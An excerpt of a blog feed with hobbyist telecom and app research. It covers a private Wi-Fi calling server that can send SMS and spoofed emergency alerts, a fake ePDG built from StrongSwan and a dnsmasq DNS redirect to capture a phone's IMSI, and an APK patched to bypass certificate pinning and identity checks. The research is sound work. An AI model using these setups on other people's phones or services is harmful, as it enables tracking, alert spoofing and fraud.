  <li>the P-CSCF, a SIP VoIP server. We use Kamailio.</li>
</ul>

<p>I made a <a href="https://github.com/ExcelCoin/VoWiFiLocalDemo">Docker container</a> with both preinstalled.</p>

<p>Tested on macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac.</p>

<p>First, if you’re not on Verizon, change the <a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/d229efefbfaa234fcb40814d01709132b7d0b32b/app/kamailio-local.cfg#L5">IMS domain in the config</a>. You can find the domain by capturing the <code class="language-plaintext highlighter-rouge">SIP REGISTER</code> request with rvictl.</p>

<p>Then, run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker compose build
docker compose up
</code></pre></div></div>

<p>Wait for the connection from the phone:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>12[IKE] IKE_SA ikev2-vpn-iphone[4] established between 172.19.0.2[ims]...172.19.0.1
12[IKE] IKE_SA ikev2-vpn-iphone[4] state change: CONNECTING =&gt; ESTABLISHED
</code></pre></div></div>

<p>Then try sending the phone a text message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -p 22222 root@localhost
Password: vowifi
$ encodesms 15554443333 19085823275 "hello"
</code></pre></div></div>

<p>Replace &lt;19085823275&gt; with the phone number of the current SIM in the phone.</p>

<p>Or an emergency alert:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ encodesms_cdma emerg 19085823275 "duck and cover"
</code></pre></div></div>

<p>Or send a call. (You can’t answer it yet!)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ baresip
/uanew sip:+15554443333@localhost
/dial sip:+19085823275@localhost
</code></pre></div></div>

<p>Or even try to replicate the <a href="https://www.cs.purdue.edu/homes/chunyi/projects/secvoice.html">VoLTE/VoWiFi attacks from Purdue’s researchers</a> on your own network.</p>

<h1 id="a-deeper-dive-into-the-container">A deeper dive into the container</h1>

<h3 id="strongswan-configs">StrongSwan configs:</h3>

<ul>
  <li><a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/main/app/ipsec.secrets">config for PSK</a></li>
  <li><a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/main/app/strongswan-send-p-cscf.conf">config for P-CSCF (SIP server)</a>. (21 is <a href="https://datatracker.ietf.org/doc/html/rfc7651">P_CSCF_IP6_ADDRESS</a>)</li>
  <li><a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/d229efefbfaa234fcb40814d01709132b7d0b32b/app/ipsec.conf#L10">config cipher suite - see the CarrierBundle for Verizon</a></li>
  <li><a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/d229efefbfaa234fcb40814d01709132b7d0b32b/app/ipsec.conf#L26">give the iPhone a /64 IPv6 address range</a>
    <ul>
      <li>Normally, a VPN just gives out a /128 of address, but the iPhone expects a /64 and will always overwrite the bottom 64 bits with a random value.</li>
      <li>Thanks to <a href="https://lists.strongswan.org/pipermail/users/2017-March/010742.html">Alan from Kage Systems</a> for documenting how to get StrongSwan to work as an ePDG for iPhones.</li>
    </ul>
  </li>
</ul>

<h3 id="kamailio-resources">Kamailio resources</h3>
<ul>
  <li>I’m just using the stock Kamailio config for now, with no authentication</li>
  <li><a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/main/app/kamailio-local.cfg">config</a> tweaks to listen on IPv6 and accept <code class="language-plaintext highlighter-rouge">vzims.com</code> SIP domain</li>
  <li>[Nick vs Networking]
(https://nickvsnetworking.com/kamailio-introduction/) is a site with a lot of resources on setting up phone networks - including a Kamailio tutorial which was helpful in understanding concepts</li>
</ul>

<h3 id="making-a-call">Making a call</h3>

<ul>
  <li>Codecs are hard</li>
  <li>Phones use <a href="https://en.wikipedia.org/wiki/Enhanced_Voice_Services">EVS</a> or <a href="https://en.wikipedia.org/wiki/Adaptive_Multi-Rate_Wideband">AMR-WB</a>, which are protected by patents</li>
  <li>Linphone can’t do it - it only supports open codecs like Opus</li>
  <li>Baresip says it supports it, but if I pick up, the call ends</li>
  <li>The solution is to add an extra server to transcode on the fly</li>
  <li>Also: Kamailio doesn’t support the <code class="language-plaintext highlighter-rouge">tel:</code> urls used by iPhone’s phone app</li>
  <li>So you can’t dial from the phone</li>
  <li>there’s a <a href="https://github.com/kamailio/kamailio/issues/1173">patch</a> but it’s not upstream</li>
  <li>did not try it</li>
</ul>

<h3 id="sending-a-text-message-to-the-phone">Sending a text message to the phone</h3>

<ul>
  <li>normal SIP apps use SIP MESSAGE with <code class="language-plaintext highlighter-rouge">text/plain</code></li>
  <li>not supported on VoLTE/VoWiFi - invalid content type</li>
  <li>For VoLTE/VoWiFi, need to <a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/main/app/encodesms.py">encode in GSM</a> or CDMA’s SMS format</li>
  <li>thankfully plenty of resources online for encoding GSM</li>
  <li>for GSM, looked at Wireshark capture of an SMS from my phone</li>
  <li>debugged by using <a href="https://developer.android.com/studio/run/emulator-console"><code class="language-plaintext highlighter-rouge">sms pdu</code></a> feature of Android Emulator</li>
  <li><code class="language-plaintext highlighter-rouge">adb logcat -b radio</code> to see the error</li>
</ul>

<h3 id="receiving-a-text-message-from-the-phone">Receiving a text message from the phone</h3>

<ul>
  <li>Phone can receive SMS from computer, but can’t send to computer (or any other phones on my private network)</li>
  <li>If you look, it sends the SMS not directly to the other number, but to some number in Texas?</li>
  <li>this is an <a href="https://en.wikipedia.org/wiki/Short_Message_service_center">SMSC</a> - the carrier’s SMS gateway</li>
  <li>SMS can be sent to a powered off phone</li>
  <li>SMSC stores the SMS and delivers it when the destination phone is online</li>
  <li>multiple SMSC implmentations - eg <a href="https://github.com/RangeNetworks/smqueue">OpenBTS’s SMQueue</a>, <a href="https://osmocom.org/projects/osmomsc/wiki">Osmocom’s OsmoMSC</a></li>
  <li>I have not tried integrating one, but should be simple</li>
</ul>

<h3 id="making-a-broadcast-message">Making a broadcast message</h3>

<ul>
  <li>You can already research SMS through the real phone network</li>
  <li>I wanted to demo something you can only do on your own private phone network</li>
  <li>Let’s send a cell broadcast/Emergency Alert/Presidential Alert!</li>
  <li>past researchers can only send emergency broadcasts using <a href="https://ericw.us/trow/lte-alerts.pdf">private LTE equipment</a></li>
  <li>GSM Cell Broadcasts do not use SMS: they use separate SMS-CB messages that we can’t send over VoLTE/VoWiFi</li>
  <li>but CDMA uses SMS for both!</li>
  <li>Verizon <a href="https://opendevelopment-staging.verizonwireless.com/content/dam/opendevelopment/pdf/OpenAccessReq/LTE-SMS_REQ_MAR2016.pdf">mandates</a> GSM (3GPP) and CDMA (3GPP2) SMS formats over VoLTE</li>
  <li>so encoded CDMA format SMS</li>
  <li>tested on Android Emulator by decoding <a href="/assets/blog/vowifi2/MainActivity.java">message from my own code</a></li>
  <li>once I figured out how to <a href="https://github.com/ExcelCoin/VoWiFiLocalDemo/blob/main/app/encodesms_cdma.py">send CDMA format SMS</a>, I just change the type of message to broadcast, and set the type to “emergency alert” (or “presidential alert”)</li>
</ul>

<h1 id="join-me">Join me</h1>

<p>Not quite ready yet. But email me!</p>

<p>Here’s why you shouldn’t join me yet:</p>

<ul>
  <li>A private phone network’s basically useless</li>
  <li>No calling out to external numbers - I’m not paying VoIP providers to connect to the real phone network</li>
  <li>this means NO EMERGENCY CALLS - do not use this on a primary phone, and always have another phone turned on for emergencies</li>
  <li>I still need to get phone-to-phone text messages working</li>
  <li>No security whatsoever!! Anyone can spoof anyone and send anything</li>
  <li>VoWiFi may send your phone’s location to me and - because I don’t have filters configured - everyone else on the private network</li>
  <li>I don’t have an accounts system: it uses the real phone number and IMSI from your phone’s current SIM card</li>
  <li>So if you don’t want your phone number or location leaked, don’t join yet.</li>
</ul>

<p>Instead, set up your own network and play around it yourself!</p>

<p>I’m fixing some of these issues:</p>

<ul>
  <li>add filters, firewall, and authentication to map real phone numbers/IMSI to my own 1-555-xxx-xxxx numbers</li>
  <li>filter out any location sent by phones</li>
  <li>send out SIM cards so any phone can join, not just jailbroken iPhones</li>
  <li>figure out how to secure network against abuse (eg. invites-only system?)</li>
  <li>set up an SMSC for phone-to-phone texting</li>
  <li>set up transcoding for VoIP app to phone calling</li>
</ul>

<p>If you’re interested in joining after I fix these issues, email me at <img src="/assets/blog/mail.png" alt="" width="250" /> and let me know:</p>

<ul>
  <li>Your device type (iPhone, Android, VoIP phone app, or something else) - must support Wi-Fi calling</li>
  <li>the 1-555-xxx-xxxx phone number you want (once I figure out how to map numbers)</li>
  <li>Do you want a SIM card if I ever figure out how to make one</li>
  <li>If you’re using a jailbroken device with an existing SIM, the existing SIM’s carrier and number</li>
</ul>

<h1 id="conclusions">Conclusions</h1>

<ul>
  <li>You don’t need special equipment to set up your own phone network</li>
  <li>You can capture your phone’s VoLTE/VoWiFi traffic with just your iPhone and Mac</li>
  <li>You can set up your own Wi-Fi calling server with just a jailbreak tweak and free software</li>
  <li>We really, really need more researchers in VoLTE/VoWiFi.</li>
  <li>This is my way to help lower the barrier of entry.</li>
</ul>

<p>40 years ago, the January 8, 1982 <a href="https://en.wikipedia.org/wiki/Breakup_of_the_Bell_System">settlement</a> broke up AT&amp;T.</p>

<p>It’s time to rebuild the telephone lab.</p>

<p>If you have any questions, please reach out over email or <a href="https://twitter.com/zhuowei">Twitter</a>!</p>

<h1 id="what-i-learned">What I learned</h1>

<ul>
  <li>How to use StrongSwan</li>
  <li>How to use Kamailio</li>
  <li>How to run both in Docker</li>
  <li>How to build an iOS jailbreak tweak</li>
  <li>How to inspect VoWiFi traffic from an iPhone</li>
  <li>How to use IPv6</li>
  <li>How to encode SMS in both GSM and CDMA</li>
</ul>]]></content><author><name></name></author><category term="vowifi," /><category term="volte," /><category term="ims," /><category term="phone," /><category term="ikev2," /><category term="ipsec," /><category term="vpn," /><category term="strongswan," /><category term="sip," /><category term="kamailio," /><category term="sms," /><category term="gsm," /><category term="cdma," /><category term="docker" /><summary type="html"><![CDATA[You don’t need expensive equipment for VoLTE/VoWiFi research! Learn how VoLTE/VoWiFi works by setting up your own Wi-Fi calling server with free software.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://worthdoingbadly.com/assets/blog/vowifi2/vowifi2_header.jpg" /><media:content medium="image" url="https://worthdoingbadly.com/assets/blog/vowifi2/vowifi2_header.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Learning VoWifi, VoLTE, and IMS: because I’m too Millennial to make a phone call</title><link href="https://worthdoingbadly.com/vowifi/" rel="alternate" type="text/html" title="Learning VoWifi, VoLTE, and IMS: because I’m too Millennial to make a phone call" /><published>2021-12-08T00:00:00+00:00</published><updated>2021-12-08T00:00:00+00:00</updated><id>https://worthdoingbadly.com/vowifi</id><content type="html" xml:base="https://worthdoingbadly.com/vowifi/"><![CDATA[<p>I’m learning how VoWifi/VoLTE works by trying three experiments:</p>

<ul>
  <li>Connecting to VoWifi using fasferraz’s Python IKEv2/EAP-AKA implementation: failed</li>
  <li>Connecting to VoLTE using Linphone: failed</li>
  <li>Capturing IMSIs with a Wi-Fi hotspot, a fake DNS server, and a VPN server: succeeded</li>
</ul>

<h1 id="introduction-and-glossary">Introduction and glossary</h1>

<p>VoLTE and VoWifi may seem <a href="https://twitter.com/the6p4c/status/1299982755149656065">complicated</a>, but to make a phone call, you phone actually just talks to two computers:</p>

<p><img src="/assets/blog/vowifi/ims_diagram.png" alt="diagram of VoLTE/VoWifi" /></p>

<p>As documented in the excellent presentations by ERNW (<a href="https://ernw.de/download/telco/ERNW_Area41_IMSecure.pdf">first</a>, <a href="https://deepsec.net/docs/Slides/2017/How_secure_are_your_VoLTE_and_VoWiFi_Calls_Sreepriya_Chalakkal.pdf">second</a>), VoLTE and VoWifi are based on common technologies:</p>

<ul>
  <li>In VoLTE, the phone connects via SIP to the <strong>P-CSCF</strong>, which is the carrier’s SIP VoIP server.</li>
  <li>In VoWifi, the phone first makes a IPSec VPN connection to the <strong>ePDG</strong>, the carrier’s VPN server for VoWifi. Then it connects over the VPN to the P-CSCF SIP server, like VoLTE.</li>
</ul>

<p>However, VoLTE’s implementation is not compatible with our everyday VPNs and VoIP software. <a href="https://www.jeroenbaten.nl/UT-VoLTE-proposed-technical-architecture.pdf">This report from Sysmocom</a> shows that it would take months to modify Ubuntu Touch for VoLTE support.</p>

<p>So what stops me from connecting to the VoWifi VPN server with regular VPN software, or the VoLTE SIP server with regular VoIP software? I decided to find out.</p>

<p>Experiments conducted on Ubuntu 21.04 in a VMWare Fusion VM, connected to a Pixel 3 XL running Android 11 on Mint (a T-Mobile MVNO).</p>

<h1 id="connecting-to-vowifi">Connecting to VoWifi</h1>

<p>To connect to the special VoWifi VPN, I used <a href="https://github.com/sysmocom/SWu-IKEv2">fasferraz’s <strong>SWu-IKEv2</strong></a>, an IKEv2/IPSec VPN client which implements the special <strong>EAP-AKA’</strong> authentication method that uses a SIM card.</p>

<p>In <a href="https://realtimecommunication.wordpress.com/2016/04/06/epdg-and-ipsec/">EAP-AKA’</a>:</p>

<ul>
  <li>Only the carrier and the SIM card itself knows a secret key, <code class="language-plaintext highlighter-rouge">K</code></li>
  <li>When authenticating, the carrier sends two values: an <code class="language-plaintext highlighter-rouge">AUTN</code> value and a <code class="language-plaintext highlighter-rouge">RAND</code> value</li>
  <li>The <code class="language-plaintext highlighter-rouge">AUTN</code> value proves to the SIM card that it’s the real carrier</li>
  <li>The SIM card encrypts the <code class="language-plaintext highlighter-rouge">RAND</code> value with the secret K key to derive two secret keys: <code class="language-plaintext highlighter-rouge">IK</code>, <code class="language-plaintext highlighter-rouge">CK</code>; and a response value, <code class="language-plaintext highlighter-rouge">RES</code></li>
  <li>It sends the <code class="language-plaintext highlighter-rouge">RES</code> value back to the carrier to prove that it’s the real SIM card</li>
  <li>The phone starts encrypting the connection with <code class="language-plaintext highlighter-rouge">IK</code> and <code class="language-plaintext highlighter-rouge">CK</code></li>
  <li>The carrier does the same encryption with the <code class="language-plaintext highlighter-rouge">K</code> key to obtain the expected <code class="language-plaintext highlighter-rouge">IK</code>, <code class="language-plaintext highlighter-rouge">CK</code>, and <code class="language-plaintext highlighter-rouge">RES</code> values</li>
  <li>The carrier compares the <code class="language-plaintext highlighter-rouge">RES</code> value before decrypting the connection with <code class="language-plaintext highlighter-rouge">IK</code> and <code class="language-plaintext highlighter-rouge">CK</code></li>
  <li>Since nobody else has the <code class="language-plaintext highlighter-rouge">K</code> key, they can’t eavesdrop or pretend to be the user/carrier</li>
</ul>

<p>In summary, I need to send <code class="language-plaintext highlighter-rouge">AUTN</code> and <code class="language-plaintext highlighter-rouge">RAND</code> to the SIM card, and get <code class="language-plaintext highlighter-rouge">RES</code>, <code class="language-plaintext highlighter-rouge">IK</code>, and <code class="language-plaintext highlighter-rouge">CK</code> back.</p>

<p>SWu-IKEv2 supports talking to a real SIM card for EAP-AKA’, defining an <a href="https://github.com/fasferraz/USIM-https-server">HTTP API</a> to communicate with a SIM card reader.</p>

<p>I decided to implement that API as an Android app so I can use the SIM card in my phone:</p>

<ul>
  <li>Android has a public API, <a href="https://developer.android.com/reference/android/telephony/TelephonyManager#getIccAuthentication(int,%20int,%20java.lang.String)"><code class="language-plaintext highlighter-rouge">TelephonyManager.getIccAuthentication</code></a> to run this authentication flow</li>
  <li>Added for <a href="https://cs.android.com/android/platform/superproject/+/master:packages/modules/Wifi/service/java/com/android/server/wifi/WifiCarrierInfoManager.java;l=1323;drc=4367f1ec9fa7f060f942c0bf1b4b9c978b578e4f">Android’s Wi-Fi</a> framework, since there are Wi-Fi hotspots that use the SIM card to <a href="https://twitter.com/zhuowei/status/1459668374502481924">authenticate</a></li>
  <li>Also available <a href="https://cs.android.com/android/platform/superproject/+/android-11.0.0_r48:frameworks/base/packages/Shell/AndroidManifest.xml;l=33;drc=907c235865ef3e8f6113db419d268e62a16d497f">from ADB</a> on Android 10 and above</li>
  <li>(Not available on Android 8.1. I tried <a href="https://github.com/zhuowei/SimServerAndroid/tree/failed-apdu-auth">using other SIM card APIs</a> to try to get this value, but it blocked me every time)</li>
</ul>

<p>I built a <a href="https://github.com/zhuowei/SimServerAndroid">an HTTP server Android app</a> that generates SIM authentication requests:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell sh /sdcard/runsimserver.sh serve 3333
</code></pre></div></div>

<p>(My app uses http instead of https, because I’m not dealing with certificates. Thankfully it was easy to patch SWu-IKEv2 to support plain http.)</p>

<p>(Protip: if something fails, <code class="language-plaintext highlighter-rouge">adb logcat -b radio</code> often gives the modem’s error message)</p>

<p>I searched online for the <a href="https://www.reddit.com/r/tmobile/comments/pq3rxi/which_epdg_for_wifi_calling/">ePDG address for T-Mobile</a>, set the APN to <code class="language-plaintext highlighter-rouge">ims</code>, pointed SWu-IKEv2’s SIM reader address to my phone, and tried connecting:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># python3 swu_emulator.py -m "http://192.168.1.9:3333" -d "ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org" -M 310 -N 260 -a "ims"
&lt;snip&gt;
STATE 3:
-------
sending IKE_SA_AUTH (2)
received decoded message:
[[46, [[41, [0, 24, b'', b'']]]]]
received IKE_AUTH (2)
OTHER_ERROR : 24
</code></pre></div></div>

<p>It gets most of the handshake, including the SIM card credentials, but it returns an error on <code class="language-plaintext highlighter-rouge">IKE_SA_AUTH</code>.</p>

<p>Maybe it’s because Mint Mobile requires me to register an emergency address before I could turn on Wi-Fi calling, or perhaps SWu-IKEv2 doesn’t implement a handshake compatible with T-Mobile/Mint.</p>

<p>(In fact, when I tried Verizon’s Wi-Fi calling server, SWu-IKEv2 isn’t even able to get through the first part of the handshake, and never reaches the SIM card auth. I tried StrongSwan instead, but couldn’t figure out the config file.)</p>

<h1 id="connecting-to-volte">Connecting to VoLTE</h1>

<p>If I can’t connect to the VoWifi VPN, can I connect to the VoLTE SIP server directly?</p>

<p>On Android, I can find the SIP server address using <code class="language-plaintext highlighter-rouge">dumpsys</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dumpsys telephony.registry
&lt;snip&gt;
PcscfAddresses: [ /fd00:1234:5678:1234::1,/fd00:1234:1:123::1,/fd00:1234:5678:1234::2 ]
</code></pre></div></div>

<p>It’s a private (<code class="language-plaintext highlighter-rouge">fd00::</code>) IP address, so cannot be accessed over Internet, but I can access it over Wi-Fi tethering from my phone.</p>

<p>I first tried <a href="https://packages.ubuntu.com/bionic/sip-tester"><code class="language-plaintext highlighter-rouge">sipp</code></a>, a SIP tester, to see if it can make any SIP connection:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sipp -sn uac fd00:1234:1:123::1 -m 1 -auth_uri "sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org"
Resolving remote host 'fd00:1234:1:123::1'... Done.
2021-11-14	12:17:42.188810	1636910262.188810: Aborting call on unexpected message for Call-Id '1-4126@1234:5678:1234:5678:1234:5678:1234:5678': while expecting '100' (index 1), received 'SIP/2.0 403 Forbidden
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=&lt;&gt;
To: service &lt;sip:service@[fd00:1234:1:123::1]:5060&gt;;tag=&lt;&gt;
From: sipp &lt;sip:sipp@[1234:5678:1234:5678:1234:5678:1234:5678]:5060&gt;;tag=&lt;&gt;
Call-ID: 1-4126@1234:5678:1234:5678:1234:5678:1234:5678
CSeq: 1 INVITE
Content-Length: 0

'
</code></pre></div></div>

<p>Since it got a SIP response, I decided to try Linphone to see if that works better.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "register sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org [fd00:1234:5678:1234::1]" | linphone-daemon --config ./lollinphonerc 
daemon-linphone&gt;Status: Ok

Id: 2

daemon-linphone&gt;Quitting...
</code></pre></div></div>

<p>Looking at the log, it seems to fail with an <code class="language-plaintext highlighter-rouge">Extension Required</code> message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>REGISTER sip:ims.mnc260.mcc310.3gppnetwork.org SIP/2.0
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport
From: &lt;sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org&gt;;tag=by3qRAb72
To: sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org
CSeq: 21 REGISTER
Call-ID: BqHzXhfQzf
Max-Forwards: 70
Supported: replaces, outbound, gruu, sec-agree
Accept: application/sdp
Accept: text/plain
Accept: application/vnd.gsma.rcs-ft-http+xml
Contact: &lt;sip:310260111111111@[1234:5678:1234:5678:1234:5678:1234:5678:3080];transport=udp&gt;;+sip.instance="&lt;urn:uuid:6b105db9-7d58-0048-a2fa-c4edf4517544&gt;"
Expires: 0
User-Agent: Unknown (belle-sip/4.4.0)

SIP/2.0 421 Extension Required
Via: SIP/2.0/UDP [1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0
To: &lt;sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org&gt;;tag=hmpyfr9c6bln4s4tqy698hv3v
From: &lt;sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org&gt;;tag=LEotRcq8b
Call-ID: H3P5ZXk7Z2
CSeq: 20 REGISTER
Require: sec-agree
Content-Length: 0
</code></pre></div></div>

<p>After looking up what extensions <a href="http://hongjoo71-e.blogspot.com/2015/07/e2e-volte-call-setup24-ims-registration.html">a real SIP client</a> has, I tried adding this line to the Linphone config.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[sip]
supported=replaces, outbound, gruu, sec-agree
</code></pre></div></div>

<p>This sets <code class="language-plaintext highlighter-rouge">Supported: replaces, outbound, gruu, sec-agree</code> in the header, but I got the exact same <code class="language-plaintext highlighter-rouge">Extension Required</code> error.</p>

<h1 id="a-fake-vowifi-epdg">A fake VoWifi ePDG</h1>

<p>OK, so connecting to a carrier is impossible.</p>

<p>Thankfully, pretending to be a carrier to grab IMSIs <a href="https://www.blackhat.com/docs/eu-16/materials/eu-16-OHanlon-WiFi-IMSI-Catcher.pdf">is easy</a>, and there are <a href="https://wgtwo.com/vowifi-leaking-imsi/">guides on how to do it</a>.</p>

<p>To pretend to be a ePDG Wi-Fi calling VPN, I created a StrongSwan VPN config:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config setup
    charondebug="ike 4"
conn ikev2-vpn
    auto=add
    type=tunnel
    keyexchange=ikev2
    left=%any
    leftid=@ims
    right=%any
    rightid=%any
    rightauth=eap-aka
    rightsourceip=10.10.10.0/24
    rightdns=8.8.8.8,8.8.4.4
</code></pre></div></div>

<p>Started StrongSwan:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo ipsec start --nofork --conf hello.conf
</code></pre></div></div>

<p>Started a DNS server that redirects the ePDG VPN server domain to my fake Wi-Fi calling server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo dnsmasq -d --no-resolv --no-hosts --log-queries --server 8.8.8.8 --address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10
</code></pre></div></div>

<p>Then I changed the DNS on my phone, activated Wi-Fi calling, and saw this on my console:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>07[NET] received packet: from 192.168.1.9[40844] to 192.168.1.10[500] (496 bytes)
07[ENC] parsed IKE_SA_INIT request 0 [ SA KE No N(NATD_S_IP) N(NATD_D_IP) N(FRAG_SUP) ]
07[IKE] 192.168.1.9 is initiating an IKE_SA
07[CFG] selected proposal: IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048
07[ENC] generating IKE_SA_INIT response 0 [ SA KE No N(NATD_S_IP) N(NATD_D_IP) N(FRAG_SUP) N(CHDLESS_SUP) N(MULT_AUTH) ]
07[NET] sending packet: from 192.168.1.10[500] to 192.168.1.9[40844] (456 bytes)
08[NET] received packet: from 192.168.1.9[40844] to 192.168.1.10[500] (348 bytes)
08[ENC] unknown attribute type (16386)
08[ENC] parsed IKE_AUTH request 1 [ IDi IDr CPRQ((16386) DNS6 DNS6 ADDR6) SA TSi TSr ]
08[CFG] looking for peer configs matching 192.168.1.10[ims]...192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]
08[CFG] no matching peer config found
08[ENC] generating IKE_AUTH response 1 [ N(AUTH_FAILED) ]
08[NET] sending packet: from 192.168.1.10[500] to 192.168.1.9[40844] (76 bytes)
</code></pre></div></div>

<p>And there’s my IMSI, sent to any adversary that controls a Wi-Fi network, a DNS, and a VPN server.</p>

<h1 id="what-i-learned">What I learned</h1>

<ul>
  <li>How (not) to send PDUs to a SIM card on Android</li>
  <li>How to ask a SIM card for authentication responses on Android</li>
  <li>How to use SWu-IKEv2</li>
  <li>How to send a SIP register command</li>
  <li>How to setup an IKEv2 StrongSwan server</li>
  <li>How Wi-Fi calling may leak IMSIs to adversarial Wi-Fi hotspots</li>
</ul>]]></content><author><name></name></author><category term="vowifi," /><category term="volte," /><category term="ims," /><category term="phone" /><summary type="html"><![CDATA[I’m learning how VoWifi/VoLTE works by trying three experiments:]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://worthdoingbadly.com/assets/blog/vowifi/ims_diagram.png" /><media:content medium="image" url="https://worthdoingbadly.com/assets/blog/vowifi/ims_diagram.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Datamining Facebook’s Novi wallet</title><link href="https://worthdoingbadly.com/novi/" rel="alternate" type="text/html" title="Datamining Facebook’s Novi wallet" /><published>2021-11-23T00:00:00+00:00</published><updated>2021-11-23T00:00:00+00:00</updated><id>https://worthdoingbadly.com/novi</id><content type="html" xml:base="https://worthdoingbadly.com/novi/"><![CDATA[<p>I tested Facebook’s new <a href="https://novi.com">Novi</a> digital wallet and found evidence for upcoming features, such as a debit card to access Novi balance, third-party linking with QR codes, and a way to buy Bitcoin directly from the app.</p>

<p><img src="/assets/blog/novi/novi.jpg" alt="A screenshot of Novi" /></p>

<h1 id="a-hands-on-video-sort-of">A hands-on video! Sort of.</h1>

<p>Here’s my “hands-on” of the Novi settings screen on Android. I can’t demo the actual wallet since I wasn’t able to sign up for an account.</p>

<p><a href="https://twitter.com/zhuowei/status/1457420727838195728">https://twitter.com/zhuowei/status/1457420727838195728</a></p>

<blockquote class="twitter-tweet" data-dnt="true"><p lang="en" dir="ltr">Facebook Novi wallet hands-on:<br />... except I&#39;m not going to give Facebook my driver&#39;s license or bank account<br />You only get to see an empty &quot;Settings&quot; screen. Sorry. <a href="https://t.co/Grh9Fhz22J">pic.twitter.com/Grh9Fhz22J</a></p>&mdash; Zhuowei Zhang (@zhuowei) <a href="https://twitter.com/zhuowei/status/1457420727838195728?ref_src=twsrc%5Etfw">November 7, 2021</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>I wasn’t eligible for the Novi beta (which requires you to be a resident of selected states in the US or Guatamala, and requires you to upload your photo ID).</p>

<p>To work around this, I:</p>

<ul>
  <li>rented a cloud server in California</li>
  <li>modified the APK to replace “prod.novi.com” with my own server</li>
  <li>disabled certificate pinning by adding a <code class="language-plaintext highlighter-rouge">return-void</code> to the function that throws the <code class="language-plaintext highlighter-rouge">pinning error, trusted chain:</code> error.</li>
  <li>changed <code class="language-plaintext highlighter-rouge">kyc_status</code> in the login response to <code class="language-plaintext highlighter-rouge">ONBOARDED</code></li>
</ul>

<p>This allowed me to view… the settings screen, and that’s it. (The actual money UI is controlled by the server, and without a valid account, it just gives a blank homescreen)</p>

<h1 id="enabling-feature-flags-in-novis-android-app">Enabling feature flags in Novi’s Android app</h1>

<p><a href="https://twitter.com/zhuowei/status/1457420727838195728">https://twitter.com/zhuowei/status/1457420727838195728</a></p>

<p><img src="https://pbs.twimg.com/media/FCgce3tWYAYplPh?format=jpg" alt="" /></p>

<p><a href="https://twitter.com/zhuowei/status/1457428236774817796">https://twitter.com/zhuowei/status/1457428236774817796</a></p>

<p>If I enable every unreleased experiment flag in Facebook’s Novi wallet, I get a few extra settings for “Statements and Documents”, “Diem address”, “Sounds”, and “Linked accounts”:</p>

<table>
  <tbody>
    <tr>
      <td><img src="https://pbs.twimg.com/media/FDnTQA_XEAISxcU?format=jpg" alt="" /></td>
      <td><img src="https://pbs.twimg.com/media/FDnTQDIXsAQawCl?format=jpg" alt="" /></td>
    </tr>
    <tr>
      <td><img src="https://pbs.twimg.com/media/FDnTQH5WUAUZql_?format=jpg" alt="" /></td>
      <td><img src="https://pbs.twimg.com/media/FDnTQKJXsBAHNTS?format=jpg" alt="" /></td>
    </tr>
  </tbody>
</table>

<h1 id="strings">Strings</h1>

<p>I also pulled strings from both the Android and the iOS versions of the app:</p>

<h2 id="novi-card">Novi Card</h2>

<p>Facebook’s Novi digital wallet includes text about a “Novi Card”, a Visa-compatible debit card to access your Novi balance:</p>

<p><a href="https://twitter.com/zhuowei/status/1451644426221015041">https://twitter.com/zhuowei/status/1451644426221015041</a></p>

<p><img src="https://pbs.twimg.com/media/FCVG6SWXsAgK7qS?format=jpg" alt="" /></p>

<h2 id="qr-linking">QR linking</h2>

<p>Facebook’s Novi wallet seems to let you link an account with a third party by scanning a QR code?
